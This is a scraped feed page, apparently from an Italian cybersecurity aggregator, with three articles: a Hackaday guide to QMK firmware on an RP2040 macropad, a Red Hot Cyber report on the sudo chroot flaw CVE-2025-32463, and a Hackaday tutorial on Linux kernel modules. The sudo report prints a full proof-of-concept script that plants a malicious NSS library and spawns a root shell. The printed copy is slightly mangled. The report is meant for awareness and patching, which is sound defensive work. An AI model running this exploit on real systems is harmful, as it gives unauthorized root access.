Practical? No. But it would be easy enough to wire up any kind of switches you like. I didn’t use the display, so there would be no reason to wire one up if you were trying to make a useful copy of this project.

The Software


There are several keyboard firmware choices out there, but QMK is probably the most common. It supports the Pico, and it’s well supported. It is also modular, offering a wide range of features.

The first thing I did was clone the Git repository and start my own branch to work in. There are a number of source files, but you won’t need to do very much with most of them.

There is a directory called keyboards. Inside that are directories for different types of keyboards (generally, brands of keyboards). However, there’s also a directory called handwired for custom keyboards with a number of directories inside.

There is one particular directory of interest: onekey. This is sort of a “Hello World” for QMK firmware. Inside, there are directories for different CPUs, including the RP2040 I planned to use. There are many other choices, though, if you prefer something else.

Surprise!

Quick guide to the files of interest.
So, that directory probably has a mess of files in it, right? Not really. There are five files, including a readme, and that’s it. Of those, there are only two I was going to change: config.h and keyboard.json. In addition, there are a few files that may be important in the parent directory: config.h, onekey.c, and info.json.

I didn’t want to interfere with the stock options, so I created a directory at ~/qmk_firmware/keyboards/handwired/hackaday. I copied the files from onekey to this directory, along with the rp2040 and keymap directories (that one is important). I renamed onekey.c to hackaday.c.

It seems confusing at first, but maybe the diagram will help. This document will help, too. The good news is that most of these files you won’t even need to change. Essentially, info.json is for any processor, keyboard.json is for a specific processor, and keymap.json goes with a particular keymap.

Changes


The root directory config.h didn’t need any changes, although you can disable certain features here if you care. The hackaday.c file had some debugging options set to true, but since I wanted to keep it simple, I set them all to false.

The info.json file was the most interesting. You can do things like set the keyboard name and USB IDs there. I didn’t change the rest, even though the diode_direction key in this file won’t be used for this project. For that matter, the locking section is only needed if you have physical keys that actually lock, but I left it in since it doesn’t hurt anything.

In the rp2040 directory, there are more changes. The config.h file allows you to set pin numbers for various things, and I also put some mouse parameters there (more on that later). I didn’t actually use any of these things (SPI and the display), so I could have deleted most of this.

But the big change is in the keyboard.json file. Here you set the processor type. But the big thing is you set up keys and some feature flags. Usually, you describe how your keyboard rows and columns are configured, but this simple device just has direct connections. You still set up fake rows and columns. In this case, I elected to make two rows of five columns. The first row is the four buttons (and a dead position). The second row is the joystick buttons. You can see that in the matrix_pins section of the file.

The layouts section is very simple and gives a name to each key. I also set up some options to allow for fake mouse keys and media keys (mousekey and extrakey set to true). Here’s the file:
{
"keyboard_name": "RP2040_Plus_Pad",
"processor": "RP2040",
"bootloader": "rp2040",
"matrix_pins": {
"direct": [
["GP15", "GP17", "GP19", "GP21", "NO_PIN"],
["GP2", "GP18", "GP16", "GP20", "GP3"]
]
},
"features": {
"mousekey": true,
"extrakey": true,
"nkro": false,
"bootmagic": false
},
"layouts": {
"LAYOUT": {
"layout": [
{ "label":"K00", "matrix": [0, 0], "x": 0, "y": 0 },
{ "label": "K01", "matrix": [0, 1], "x": 1, "y": 0 },
{ "label": "K02", "matrix": [0, 2], "x": 2, "y": 0 },
{ "label": "K03", "matrix": [0, 3], "x": 3, "y": 0 },
{ "label": "K10", "matrix": [1, 0], "x": 0, "y": 1 },
{ "label": "K11", "matrix": [1, 1], "x": 1, "y": 1 },
{ "label": "K12", "matrix": [1, 2], "x": 2, "y": 1 },
{ "label": "K13", "matrix": [1, 3], "x": 3, "y": 1 },
{ "label": "K14", "matrix": [1, 4], "x": 4, "y": 1 }
]
}
}
}

The Keymap


It still seems like there is something missing. The keycodes that each key produces. That’s in the ../hackaday/keymaps/default directory. There’s a json file you don’t need to change and a C file:
#include QMK_KEYBOARD_H

const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
[0] = LAYOUT(
// 4 buttons
KC_KB_VOLUME_UP, KC_KB_MUTE, KC_KB_VOLUME_DOWN, KC_MEDIA_PLAY_PAUSE,
// Mouse
QK_MOUSE_CURSOR_UP, QK_MOUSE_CURSOR_DOWN,
QK_MOUSE_CURSOR_LEFT, QK_MOUSE_CURSOR_RIGHT,
QK_MOUSE_BUTTON_1
),
};
. . .

Mousing Around


I didn’t add the mouse commands until later. When I did, they didn’t seem to work. Of course, I had to enable the mouse commands, but it still wasn’t working. What bit me several times was that the QMK flash script (see below) doesn’t wait for the Pi Pico to finish downloading. So you sometimes think it’s done, but it isn’t. There are a few ways of solving that, as you’ll see.

Miscellaneous and Building


Installing QMK is simple, but varies depending on your computer type. The documentation is your friend. Meanwhile, I’ve left my fork of the official firmware for you. Be sure to switch to the rp2040 branch, or you won’t see any differences from the official repo.

There are some build options you can add to rules.mk files in the different directories. There are plenty of APIs built into QMK if you want to play with, say, the display. You can also add code to your keymap.c (among other places) to run code on startup, for example. You can find out more about what’s possible in the documentation. For example, if you wanted to try an OLED display, there are drivers ready to go.

The first time you flash, you’ll want to put your Pico in bootloader mode and then try this:
qmk flash -kb handwired/hackaday/rp2040 -km default
If you aren’t ready to flash, try the compile command. You can also use clean to wipe out all the binaries. The binaries wind up in qmk_firmware/.build.

Once the bootloader is installed the first time (assuming you didn’t change the setup), you can get back in bootloader mode by double-tapping the reset button. The onboard LED will light so you know it is in bootloader mode.

It is important to wait for the Pi to disconnect, or it may not finish programming. Adding a sync command to the end of your flash command isn’t a bad idea. Or just be patient and wait for the Pi to disconnect itself.

Usually, the device will reset and become a keyboard automatically. If not, reset it yourself or unplug it and plug it back in. Then you’ll be able to use the four buttons to adjust the volume and mute your audio. The joystick fakes being a mouse. Don’t like that? Change it in keymap.c.

There’s a lot more, of course, but this will get you started. Keeping it all straight can be a bit confusing at first, but once you’ve done it once, you’ll see there’s not much you have to change. If you browse the documentation, you’ll see there’s plenty of support for different kinds of hardware.

What about debugging? Running some user code? I’ll save that for next time.

Now you can build your dream macropad or keyboard, or even use this to make fake keyboard devices that feed data from something other than user input. Just remember to drop us a note with your creations.


hackaday.com/2025/08/20/instan…

Questo account è gestito da @informapirata ⁂ e propone e ricondivide articoli di cybersecurity e cyberwarfare, in italiano e in inglese

I post possono essere di diversi tipi:

1) post pubblicati manualmente
2) post pubblicati da feed di alcune testate selezionate
3) ricondivisioni manuali di altri account
4) ricondivisioni automatiche di altri account gestiti da esperti di cybersecurity

NB: purtroppo i post pubblicati da feed di alcune testate includono i cosiddetti "redazionali"; i redazionali sono di fatto delle pubblicità che gli inserzionisti pubblicano per elogiare i propri servizi: di solito li eliminiamo manualmente, ma a volte può capitare che non ce ne accorgiamo (e no: non siamo sempre on line!) e quindi possono rimanere on line alcuni giorni. Fermo restando che le testate che ricondividiamo sono gratuite e che i redazionali sono uno dei metodi più etici per sostenersi economicamente, deve essere chiaro che questo account non riceve alcun contributo da queste pubblicazioni.

reshared this

Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463


Nella giornata di ieri, Red Hot Cyber ha pubblicato un approfondimento su una grave vulnerabilità scoperta in SUDO (CVE-2025-32463), che consente l’escalation dei privilegi a root in ambienti Linux sfruttando un abuso della funzione chroot.

L’exploit, reso pubblico da Stratascale, dimostra come un utente non privilegiato possa ottenere l’accesso root tramite una precisa catena di operazioni che sfruttano un comportamento errato nella gestione dei processi figli in ambienti chroot.

Test sul campo: la parola a Manuel Roccon del gruppo HackerHood


Manuel Roccon, ricercatore del gruppo HackerHood di Red Hot Cyber, ha voluto mettere le mani sull’exploit per verificarne concretamente la portata e valutarne la replicabilità in ambienti reali. “Non potevo resistere alla tentazione di provarlo in un ambiente isolato. È impressionante quanto sia diretto e pulito il meccanismo, una volta soddisfatti i requisiti richiesti dal PoC”, afferma Manuel.

Il team ha quindi testato il Proof of Concept pubblicato da Stratascale Exploit CVE-2025-32463 – sudo chroot. Il risultato? Privilege escalation ottenuta con successo.

youtube.com/embed/-GxiqS-f7Yg?…

Dettagli dell’exploit


L’exploit sfrutta una condizione in cui sudo esegue un comando in un ambiente chroot, lasciando tuttavia aperte alcune possibilità al processo figlio di uscire dal chroot e di manipolare lo spazio dei nomi dei processi (namespace) fino ad ottenere accesso completo come utente root.

L’exploit CVE-2025-32463, dimostrato nel PoC sudo-chwoot.sh di Rich Mirch (Stratascale CRU), sfrutta una vulnerabilità in sudo che consente a un utente non privilegiato di ottenere privilegi di root quando sudo viene eseguito con l’opzione -R (che specifica un chroot directory). Lo script crea un ambiente temporaneo (/tmp/sudowoot.stage.*), compila una libreria condivisa malevola (libnss_/woot1337.so.2) contenente una funzione constructor che eleva i privilegi e apre una shell root (/bin/bash), e forza sudo a caricarla come libreria NSS nel contesto chroot.

La tecnica sfrutta un errore logico nella gestione della libreria NSS in ambienti chroot, dove sudo carica dinamicamente librerie esterne senza isolarle correttamente. Lo script imposta infatti una finta configurazione nsswitch.conf per forzare l’uso della propria libreria, posizionandola all’interno della directory woot/, che funge da root virtuale per il chroot. Quando sudo -R woot woot viene eseguito, la libreria woot1337.so.2 viene caricata, e il codice eseguito automaticamente grazie all’attributo __attribute__((constructor)), ottenendo così l’escalation dei privilegi.

I requisiti fondamentali per sfruttare con successo questa vulnerabilità includono:

  • L’abilitazione dell’uso di chroot tramite sudo.
  • L’assenza di alcune restrizioni nei profili di sicurezza (come AppArmor o SELinux).
  • Una configurazione permissiva di sudoers.

Di seguito le semplici righe

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c
#include

__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}

Conclusioni


Il test effettuato da Manuel Roccon dimostra quanto questa vulnerabilità non sia solo teorica, ma pienamente sfruttabile in ambienti di produzione non correttamente protetti. In scenari DevOps o containerizzati, dove l’uso di sudo e chroot è comune, i rischi aumentano considerevolmente.

Red Hot Cyber e il gruppo HackerHood raccomandano l’immediato aggiornamento di SUDO all’ultima versione disponibile, e la revisione delle configurazioni di sicurezza relative a chroot e permessi sudoers.

La sicurezza parte dalla consapevolezza. Continuate a seguirci per analisi tecniche, PoC testati e segnalazioni aggiornate.

L'articolo Linux Pwned! Privilege Escalation su SUDO in 5 secondi. HackerHood testa l’exploit CVE-2025-32463 proviene da il blog della sicurezza informatica.

Linux Fu: Kernel Modules Have Privileges


I did something recently I haven’t done in a long time: I recompiled the Linux kernel. There was a time when this was a common occurrence. You might want a …read more https://hackaday.com/2024/06/19/linux-fu-kernel-modules-have-privileges/
The media in this post is not displayed to visitors. To view it, please log in.

I did something recently I haven’t done in a long time: I recompiled the Linux kernel. There was a time when this was a common occurrence. You might want a feature that the default kernel didn’t support, or you might have an odd piece of hardware. But these days, in almost all the cases where you need something like this, you’ll use loadable kernel modules (LKM) instead. These are modules that the kernel can load and unload at run time, which means you can add that new device or strange file system without having to rebuild or even restart the kernel.

Normally, when you write programs for Linux, they don’t have any special permissions. You typically can’t do direct port I/O, for example, or arbitrarily access memory. The kernel, however, including modules, has no such restriction. That can make debugging modules tricky because you can easily bring the system to its knees. If possible, you might think about developing on a virtual machine until you have what you want. That way, an errant module just brings down your virtual machine.

History


Some form of module support has been around since Linux 1.2. However, modern kernels can be built to include support for things or support them as modules. For example, you probably don’t want to put drivers for every single known video card in your kernel. But it is perfectly fine to build dozens or hundreds of modules you might need and then load the one you need at run time.

LKMs are at the heart of device drivers, file system drivers, and network drivers. In addition, modules can add new system calls, override existing system calls, add TTY line disciplines, and handle how executables run.

In Use


If you want to know what modules you have loaded, that’s the lsmod command. You’ll see that some modules depend on other modules and some don’t. There are two ways to load modules: insmod and modprobe. The insmod command simply tries to load a module. The modprobe command tries to determine if the module it is loading needs other modules and picks them up from a known location.

You can also remove modules with rmmod assuming they aren’t in use. Of course, adding and removing modules requires root access. You can usually run lsmod as a normal user if you like. You might also be interested in depmod to determine dependencies, and modinfo which shows information about modules.

Writing a Module


It is actually quite easy to write your own module. In fact, it is so simple that the first example I want to look at is a little more complex than necessary.

This simple module can load and unload. It leaves a message in the system messages (use dmesg, for example) to tell you it is there. In addition, it allows you to specify a key (just an arbitrary integer) when you load it. That number will show up in the output data. Here’s the code:
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>

MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.

static int somedata __initdata=0xbeef; // this is just some static variable available only at init
static int key=0xAA; // you can override this using insmod
// Note 0644 means that the sysfs entry will be rw-r--r--
module_param(key,int,0644); // use module_param_named if you want different names internal vs external
MODULE_PARM_DESC(key,"An integer ID unique to this module");

static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday is in control (%x %x)\n",key,somedata);
return 0;
}

static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you (%x)!\n",key);
}

module_init(had_init);
module_exit(had_exit);</pre>

This isn’t hard to puzzle out. Most of it is include files and macros that give modinfo something to print out. There are some variables: somedata is just a set variable that is readable during initialization. The key variable has a default but can be set using insmod. What’s more, is because module_param specifies 0644 — an octal Linux permission — there will be an entry in the /sys/modules directory that will let the root set or read the value of the key.

At the end, there are two calls that register what happens when the module loads and unloads. The rest of the code is just something to print some info when those events happen.

I printed data in two ways: the traditional printk and using the pr_info macro which uses printk underneath, anyway. You should probably pick one and stick with it. I’d normally just use pr_info.

Building the modules is simple assuming you have the entire build environment and the headers for the kernel. Here’s a simple makefile (don’t forget to use tabs in your makefile):
<pre>obj-m += hadmod1.o

PWD := $(CURDIR) # not needed in most cases, but useful if using sudo

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean</pre>

Once you build things, you should have a .ko file (like hadmod.ko). That’s the module. Try a few things:

  1. sudo insmod hadmod.ko # load the module
  2. sudo dmesg # see the module output
  3. cat /sys/modules/hadmodule/key # see the key (you can set it, too, if you are root)
  4. sudo rmmod hadmod.ko # unload the module
  5. sudo insmod hadmod.ko key=128 # set key this time and repeat the other steps


That’s It?


That is it. Of course, the real details lie in how you interact with the kernel or hardware devices, but that’s up to you. Just to give a slightly meatier example, I made a second version of the module that adds /proc/jollywrencher to the /proc filesystem. Here’s the code:
#include <linux/init.h>
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/printk.h>
#include <linux/uaccess.h>
#include <linux/fs.h>
#include <linux/proc_fs.h> // Module metadata
#include <linux/version.h>

MODULE_AUTHOR("Al Williams");
MODULE_DESCRIPTION("Hackaday LKM1");
MODULE_LICENSE("GPLv2"); // many options, GPL, GPLv2, Proprietary, etc.

static char logo[]=
" \n"\
" \n"\
" \n"\
" #@@@@@@ ,@@@@@@ \n"\
" &@@@@@* &@@@@@, \n"\
" @@@@@@% @@@@@@# \n"\
" @@ .@@@@@@@@@ .@@@@@@@@@ .@# \n"\
" &@@@& /@@@@@@@@@@@@ @@@@@@@@@@@@ @@@@* \n"\
" @@@@@@@@@@@@@@@@@@@@@# @@@@@@@@@@@@@@@@@@@@@, \n"\
" &@@@@@@@@@@@@@@@@@@@@@* ,@@@@@@@@@@@@% &@@@@@@@@@@@@@@@@@@@@@* \n"\
" ,*. @@@@@@@@@@@/ .@@@@@@@@@@@@@@@@@@@@& &@@@@@@@@@@# ** \n"\
" @@@@@@, &@@@@@@@@@@@@@@@@@@@@@@@@@, %@@@@@& \n"\
" ,@& /@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@ \n"\
" &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* \n"\
" %@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. \n"\
" @@@@@@ #@@@@@@@. /@@@@@@ \n"\
" /@@@@& @@@@@@. @@@@@ \n"\
" ,@@@@% (@@@@@@@@@@&* @@@@@ \n"\
" @@@@@# @@@@@@@@@@@@@@@@@@% @@@@@& \n"\
" /@@@@@@@@@@@@@@@, #@@@@@@@@@@@@@@@ \n"\
" @@ *@@@@@@@@@@@@@& ( @@@@@@@@@@@@@@ .@( \n"\
" %@@@@@. @@@@@@@@@@@@@@@@@@@@@@@@@@@@% #@@@@@* \n"\
" (%&%((@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@% ,@@@@@@@@@@*#&/ \n"\
" @@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@( @@@@@@@@@@@@@@@@@@@@@& \n"\
" @@@@@@@@@@@@@@@@@@@@@ @@@@@@*@@@@@@/%@@@@@& *@@@@@@@@@@@@@@@@@@@@# \n"\
" @@@@. @@@@@@@@@@@. .. . . (@@@@@@@@@@# /@@@* \n"\
" @, %@@@@@@@@ .@@@@@@@@. \n"\
" ,@@@@@( @@@@@@ \n"\
" *@@@@@@ (@@@@@@ \n"\
" @@@@@@, %@@@@@@ \n"\
" \n"\
" ";

static struct proc_dir_entry *proc_entry;
static ssize_t had_read(struct file *f, char __user * user_buffer, size_t count, loff_t * offset)
{
size_t len;
if (*offset>0) return 0; // no seeking, please!
copy_to_user(user_buffer,logo,len=strlen(logo)); // skipped error check
*offset=len;
return len;
}

#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,6,0)
static struct proc_ops procop = // prior to Linux 5.6 you needed file_operations
{
.proc_read=had_read
};
#else
static struct file_operations procop =
{
.owner=THIS_MODULE,
.read=had_read
#endif

static int __init had_init(void)
{
// This is the usual way to do this (don't forget \n and note no comma after KERN_INFO), but...
printk(KERN_INFO "Hackaday<1>; is in control\n");
proc_entry=proc_create("jollywrencher",0644,NULL,&procop);
return 0;
}

static void __exit had_exit(void)
{
// ... you can also use the pr_info macro which does the same thing
pr_info("Returning control of your system to you...\n");
proc_remove(proc_entry);
}

module_init(had_init);
module_exit(had_exit);

The only thing here is you have an extra function that you have to register and deregister with the kernel. However, that interface changed in Kernel 5.6, so the code tries to do the right thing. Until, of course, it gets changed again.

Once you load this module using insmod, you can cat /proc/jollywrencher to see your favorite web site’s logo.

Of course, this is a dead simple example, but it is enough to get you started. You can grab all the source code online. One great way to learn more is to find something similar to what you want to build and take it apart.

We don’t suggest it, but you can write an LKM in Scratch. If you really want to learn the kernel, maybe start at the beginning.